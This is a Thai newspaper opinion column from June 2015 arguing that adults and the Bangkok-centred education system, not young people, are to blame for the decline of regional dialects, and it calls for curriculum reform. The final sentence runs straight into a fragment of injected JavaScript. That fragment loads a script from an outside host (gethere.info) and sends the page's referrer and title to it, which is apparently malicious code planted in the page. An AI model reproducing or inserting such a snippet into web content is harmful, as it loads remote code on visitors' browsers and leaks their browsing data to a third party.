มติชนรายวัน ฉบับประจำวันพุธที่ 10 มิถุนายน 2558

 

เด็กรับบาปไป ผู้ใหญ่ลอยนวล

         เด็กและเยาวชนไทยถูกปรักปรำเป็นแพะรับบาป เพื่อผู้ใหญ่ลอยนวล

         ระบบการศึกษาไทย ตัดขาดความรู้ท้องถิ่น เป็นสิ่งที่ผู้ใหญ่ไทยสร้างขึ้น ครั้นมีปัญหาก็ไปลงที่เด็กและเยาวชน

         ส่วนผู้ใหญ่ลอยนวล แถมได้ความดีความชอบที่แสดงตนรักและห่วงใยวัฒนธรรมท้องถิ่น

 

ภาษาถิ่น

          สถานการณ์ภาษาถิ่นไทย ขณะนี้อยู่ในภาวะถดถอยอย่างมากทั้งภาษาถิ่นภาคเหนือ ภาคอีสาน และภาคใต้ (เดลินิวส์ ฉบับวันพฤหัสบดีที่ 7 พฤษภาคม พ.ศ. 2558 หน้า 26)

          เลขาธิการราชบัณฑิตยสภา บอกว่าเป็นเพราะเยาวชนรุ่นใหม่ไม่นิยมพูดภาษาถิ่นกันแล้ว บางคนก็รู้สึกอายเมื่อถูกล้อเลียนเวลาพูดภาษาถิ่น อีกทั้งครอบครัวก็ไม่ส่งเสริม เพราะเข้าใจผิดว่าการสนับสนุนให้ลูกหลานได้พูดและใช้ภาษากรุงเทพฯ จะช่วยให้มีโอกาสด้านอาชีพที่ดีกว่า—แม้จะยังพูดติดสำเนียงท้องถิ่น แต่ก็มักจะใช้คำศัพท์ของภาษากรุงเทพฯ

         หากยังเป็นเช่นนี้ต่อไป คำศัพท์ดั้งเดิมของท้องถิ่นก็คงค่อยๆสูญหายไป ซึ่งจะส่งผลกระทบอย่างมากต่อการศึกษาและอนุรักษ์สืบทอดองค์ความรู้และภูมิปัญญาอันทรงคุณค่าของท้องถิ่น

 

ผู้ใหญ่เป็นต้นเหตุ

         ระบบการศึกษาไทยที่ทำโดยผู้ใหญ่นั่นต่างหากเป็นต้นเหตุเรื่องนี้ ซึ่งมีมาแล้วราว 100 ปี

         1.ครอบงำให้หลงตัวเองว่าภาษาและสำเนียงลุ่มน้ำเจ้าพระยาภาคกลางเป็นภาษาไทยศักดิ์สิทธิ์และดีที่สุดเหนือกว่าภาษาอื่นใด แสดงความเป็นไทยแท้ๆเหนือภาษาและสำเนียงของลุ่มน้ำอื่น ภาคอื่น

         แท้จริงภาษาไทยเป็นตระกูลภาษาทั่วไปของชนเผ่าทั่วดินแดนในหุบเขา ถือเป็นภาษากลางทางการค้าขายภายในภูมิภาค จึงรับภาษาและสำเนียงจากคนกลุ่มอื่นและตระกูลอื่นๆ มากมาย ที่สำคัญคือ มอญ-เขมร, ชวา-มลายู

         2.ครอบงำว่าภาษาและสำเนียงกรุงเทพฯ ของลุ่มน้ำเจ้าพระยา ภาคกลางถูกต้องดีงามเป็นมาตรฐานทั้งปัจจุบันและอดีต

         แท้จริงแล้วภาษาและสำเนียงกรุงเทพฯ เพิ่งยกเป็นมาตรฐานราว 100 ปีมานี้ (อย่างมากก็ไม่ก่อน พ.ศ. 2325)

         ยุคก่อนหน้านั้น เช่น ยุคธนบุรี, ยุคอยุธยา, ยุคก่อนอยุธยา ภาษาและสำเนียงหลวงต้องเหน่อแบบลาวหลวงพระบางหรือแบบสุพรรณ ส่วนท้องถิ่นอื่นๆ ก็มีลักษณะเฉพาะของตน

         ภาษาและสำเนียงยุคสุโขทัย (ไม่ว่าพ่อขุนฯ หรือจารึกอื่น) ล้วนเหน่อลาว, เหน่อเขมร, เหน่อมอญ, ฯลฯ ด้วยกันทั้งนั้น

         3.ยกย่องวรรณกรรมรัฐจารีตลุ่มน้ำเจ้าพระยา ภาคกลาง เป็นมาตรฐาน แล้วกำหนดให้ทั่วประเทศต้องเรียนรู้

         แท้จริงแล้ววรรณกรรมของท้องถิ่นในลุ่มน้ำต่างๆ มีลักษณะพิเศษของแต่ละท้องถิ่น ซึ่งแตกต่างกัน

         บางท้องถิ่นมีมหากาพย์ฯเป็นต้นแบบให้วรรณกรรมลุ่มน้ำเจ้าพระยาด้วยซ้ำ แต่ไม่ได้รับยกย่อง เช่น ท้าวฮุ่ง ท้าวเจือง ฯลฯ

 

อย่าลอยนวล

         ทางแก้ไขดีที่สุด คือผู้ใหญ่อย่าลอยนวล แล้วอย่าปรักปรำโยนบาปให้เด็กและเยาวชน

         ควรเร่งปรับเปลี่ยนหลักสูตรการเรียนการสอน ให้อยู่บนความจริงทางประวัติศาสตร์สังคมและวัฒนธรรมของไทย ซึ่งเป็นส่วนหนึ่งของอุษาคเนย์อาเซียนอย่างแยกไม่ได้

         ทั้งหมดล้วนมีบรรพชนมาจากท้องถิ่นแตกต่างกันไป ทำให้มีพลังสร้างสรรค์ สวยสด งดงาม ดังมีพยานอยู่ในเพลงดนตรี, กวีนิพนธ์, วรรณกรรม, ฯลฯs.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;